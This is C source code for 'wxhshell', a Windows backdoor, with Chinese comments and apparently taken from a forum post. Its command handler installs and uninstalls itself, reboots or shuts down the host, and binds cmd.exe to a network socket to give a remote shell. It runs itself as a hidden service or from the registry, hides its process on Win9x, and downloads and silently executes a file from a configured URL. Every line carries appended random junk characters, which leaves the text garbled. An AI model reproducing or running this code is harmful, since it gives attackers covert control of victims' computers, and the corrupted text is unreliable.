  case 'i': { $,B@yiie  
    if(Install()) Q2ky|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oS_<;Fj  
    else .+hM1OF`x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ""^.fh  
    break; D3-H!TFpDb  
    } 4) ~ GHb  
  // 卸载 i:,37INMt  
  case 'r': { "6 fTZ<  
    if(Uninstall()) ;COZHj9b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gDjs:]/YR  
    else XxEKv=_bc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LVp*YOq7  
    break; ]Vgl  
    } do(komP<\  
  // 显示 wxhshell 所在路径 \~bE|jWbj  
  case 'p': { 6s|4'!  
    char svExeFile[MAX_PATH]; tL~?)2uEN  
    strcpy(svExeFile,"\n\r"); JOJ? .H&su  
      strcat(svExeFile,ExeFile); *,d>(\&[f  
        send(wsh,svExeFile,strlen(svExeFile),0); #35@YMF  
    break; 6dq*ncNin  
    } CGkCLd*s]  
  // 重启 CJu3h&Rp  
  case 'b': { f,}]h~w\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wH Q$F(by  
    if(Boot(REBOOT)) e(m#elX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = A;B-_c  
    else { FUj4y 9X  
    closesocket(wsh); &r Lg/UEV-  
    ExitThread(0); $zuemjW3p  
    } {JlW1;Jc7  
    break; -w:F8k ~  
    } 7J@D})si  
  // 关机 Ii9@ j1-g  
  case 'd': { )pA N_e"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q1?G7g]N  
    if(Boot(SHUTDOWN)) 9@."Y>1G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +aWI"d--h  
    else { uk~4R@=&H  
    closesocket(wsh); ;/8oP ;X2  
    ExitThread(0); __,1;=  
    } 1 k}U+  
    break; HrZ\=1RB  
    } #}rv)  
  // 获取shell Q@-7{3  
  case 's': { c~+;P(>  
    CmdShell(wsh); U,4:yc,)s  
    closesocket(wsh); a}+7MEUmZ/  
    ExitThread(0); =@d IM  
    break; 3+2&@:$t  
  } YdK]%%  
  // 退出 PDnwaK   
  case 'x': { zi*2>5g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `2@t) :  
    CloseIt(wsh); OyG$ ]C  
    break; P]@m0f  
    } [fU2$(mT+  
  // 离开 D{aN_0mT  
  case 'q': { IP`;hC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \HB4ikl  
    closesocket(wsh); ;O2r+n  
    WSACleanup(); |? !Ew# w  
    exit(1); D+.h *{gD  
    break; a N|MBX;  
        } :>.~"uWo{  
  } 3P!Jw7e  
  } 1Yy5bg6+E  
E(e'qL  
  // 提示信息 6uYCU|JsU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z Lw=*  
} VR/>V7*7@  
  } J['paHSF  
&\$l%icuo  
  return; &r6VF/  
} ~(xIG  
1X4v:rI  
// shell模块句柄 #qk A*WP  
int CmdShell(SOCKET sock) #`C ;@#xr  
{  @t  
STARTUPINFO si; DdTTWp/  
ZeroMemory(&si,sizeof(si)); lbv9 kk[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y) >GwFK$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ! Q`GA<ikv  
PROCESS_INFORMATION ProcessInfo; J>P{8Aw  
char cmdline[]="cmd"; n:GK0wu.s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I-NzGx2u  
  return 0; PF-7AIxs"  
} 4425,AR  
i51~/ R  
// 自身启动模式 &P%3'c}G  
int StartFromService(void) vv  _I o  
{ 1FS Jqad  
typedef struct \k1psqw^O  
{ J(0.eD91v  
  DWORD ExitStatus; h$p]#]uMb  
  DWORD PebBaseAddress; Kc*h@#`~oL  
  DWORD AffinityMask; v ?)-KtX|  
  DWORD BasePriority; (63_  
  ULONG UniqueProcessId; t)LD-%F  
  ULONG InheritedFromUniqueProcessId; Memz>uux  
}   PROCESS_BASIC_INFORMATION; H'E >QT  
'w`:p{E  
PROCNTQSIP NtQueryInformationProcess; FrO)3 1z  
Vt:]D?\3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }"<|.[V)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tt`j!!  
_-%A_5lCRE  
  HANDLE             hProcess; |~bl%g8xP  
  PROCESS_BASIC_INFORMATION pbi; [0D( PV(n  
pq6}q($Rk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KDW%*%!  
  if(NULL == hInst ) return 0; tm~V+t!mj  
9cAb\5c|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); , e{kC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]l>)Di#*o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8/f ,B:by  
^o]ZDc  
  if (!NtQueryInformationProcess) return 0; K vC`6  
A('=P}I^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FW:x XK  
  if(!hProcess) return 0; NaSgK  
Au$|@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ql> DS~a  
bR@ e6.<i  
  CloseHandle(hProcess); ^WP`;e  
zg&<HJO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _|xO4{X  
if(hProcess==NULL) return 0; "P=OpFV  
+ ?n81|7`  
HMODULE hMod; 1vBR\!d?7  
char procName[255]; eOjoxnD-$  
unsigned long cbNeeded;  R:98'`X=  
w1/p wzn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U7.3`qd"  
~]DGf(   
  CloseHandle(hProcess); Qj? +R F6(  
[y| "iSD  
if(strstr(procName,"services")) return 1; // 以服务启动 GFOd9=[  
!@!,7te  
  return 0; // 注册表启动 0&Q-y&$7  
} Mf%0Cx `  
v`MCV29!}  
// 主模块 0b9K/a%sQv  
int StartWxhshell(LPSTR lpCmdLine) Fd-PjW/E8  
{ v2:A 4Pd:+  
  SOCKET wsl; zR(}X8fP  
BOOL val=TRUE; yHl1:cf(y  
  int port=0; ;wIpche  
  struct sockaddr_in door; y]aV7 `]  
q-gN0"z^6$  
  if(wscfg.ws_autoins) Install(); bR6.Xdt.n  
@Hj5ZJ 3  
port=atoi(lpCmdLine); N;7Xt9l  
m5SJB]a/  
if(port<=0) port=wscfg.ws_port; 7.$0LN/a!Z  
pw*<tXH!  
  WSADATA data; V} Y %9V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nVV>;e[  
^4_)a0Kcm,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >6Y\CixN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Oemi}  
  door.sin_family = AF_INET; `:!mPNW#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t\E#8  
  door.sin_port = htons(port); %geiJ z  
T>s~bIzL*e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F6R+E;"4R'  
closesocket(wsl); 5\}A8Ng  
return 1; .t''(0_kC  
} Vu0jNKUV  
Ro$'|}(+A  
  if(listen(wsl,2) == INVALID_SOCKET) { 4G0Er?D   
closesocket(wsl); ~YKe:K+&z  
return 1; bsy\L|wd  
} Lt0JUUa0  
  Wxhshell(wsl); pb1/HhRR^n  
  WSACleanup(); TaeN?jc5  
"Q6oPDX(  
return 0; MZ o\1tU-i  
| ?3\xw  
} Mfe/(tlI  
Ehu^_HZ  
// 以NT服务方式启动 R9nW5f Nf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jIwz G+)$P  
{ bmVksi2b  
DWORD   status = 0; ,\q9>cZ!  
  DWORD   specificError = 0xfffffff; 7{=/rbZT?  
FjqoO.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yjlX@YXnw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \\XvVi:B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ra=U,  
  serviceStatus.dwWin32ExitCode     = 0; |uI d:^ {  
  serviceStatus.dwServiceSpecificExitCode = 0; wUj[c7Y%  
  serviceStatus.dwCheckPoint       = 0; Meo(|U  
  serviceStatus.dwWaitHint       = 0; j'FSd*5m  
;rYL\`6L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1=gE ,k5H  
  if (hServiceStatusHandle==0) return; <7R\ #  
A ><  
status = GetLastError(); u8L%R[#o  
  if (status!=NO_ERROR) YKKZRlQo  
{ hRTw8-wy:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w%R(*,r6  
    serviceStatus.dwCheckPoint       = 0; J7q^4M+o:  
    serviceStatus.dwWaitHint       = 0; @igr~hJ  
    serviceStatus.dwWin32ExitCode     = status; /]m5HW(P7K  
    serviceStatus.dwServiceSpecificExitCode = specificError; S0\QZ/je  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U8qb2'a8  
    return; U;u@\E@2  
  } F8mS5oB|^  
p;cNmMm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :,%~R2  
  serviceStatus.dwCheckPoint       = 0; "vI:B}  
  serviceStatus.dwWaitHint       = 0; m/uBM6SXx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >J!4x(;Yh  
} 7p*PDoM6`  
.1<QB{4~v  
// 处理NT服务事件,比如:启动、停止 P}hHx<L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t=o2:p6&  
{ &7_xr.c7  
switch(fdwControl) / r6^]grg  
{ #&<>|m  
case SERVICE_CONTROL_STOP: <y[LdB/a  
  serviceStatus.dwWin32ExitCode = 0; r:0F("},  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z5`AJrj%  
  serviceStatus.dwCheckPoint   = 0; *Z'*^Y1le  
  serviceStatus.dwWaitHint     = 0; V .+ mK|)  
  { 4H'\nsM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4FUY1p  
  } }-QFMPXhG  
  return; I^S gWC  
case SERVICE_CONTROL_PAUSE: "=<T8M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mh&wvT<:{  
  break; L!G]i;=:  
case SERVICE_CONTROL_CONTINUE: MJ"ug8 N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {2"8^;  
  break; J=?`~?Vbo  
case SERVICE_CONTROL_INTERROGATE: 7u7`z%  
  break; f_v@.vnn.  
}; T40&a(hXQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EQ< qN<uW  
} Z./$}tVUG  
%;S T7  
// 标准应用程序主函数 E;m]RtvH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VwJ A  
{ DmzK* O{  
mY6d+  
// 获取操作系统版本 0?c2=Y   
OsIsNt=GetOsVer(); cW%QKdTQY0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ! R rk  
j#4 Iu&YJ  
  // 从命令行安装 5B6twn~[  
  if(strpbrk(lpCmdLine,"iI")) Install(); tNpBRk(}  
{jdtNtw  
  // 下载执行文件 |Z6M?n  
if(wscfg.ws_downexe) { ?RW7TWf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A#NJ8_  
  WinExec(wscfg.ws_filenam,SW_HIDE); _mSDz=!Z3  
} ][vm4UY  
2kukQj (n  
if(!OsIsNt) { h[eC i  
// 如果时win9x,隐藏进程并且设置为注册表启动 C7PVJnY0  
HideProc(); -_@zyF<G  
StartWxhshell(lpCmdLine); iM \3~3'  
} 3 s%Kw,z  
else h&5bMW  
  if(StartFromService()) Hwb+@'o  
  // 以服务方式启动 1M@OBfB8  
  StartServiceCtrlDispatcher(DispatchTable); VZveNz@]r  
else &.W,Hh  
  // 普通方式启动 Qc4r?7S<  
  StartWxhshell(lpCmdLine); 9mA6nmp  
 Y7*8 A,  
return 0; i28WgDG)5  
}
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只看该作者 1 发表于: 2006-10-10
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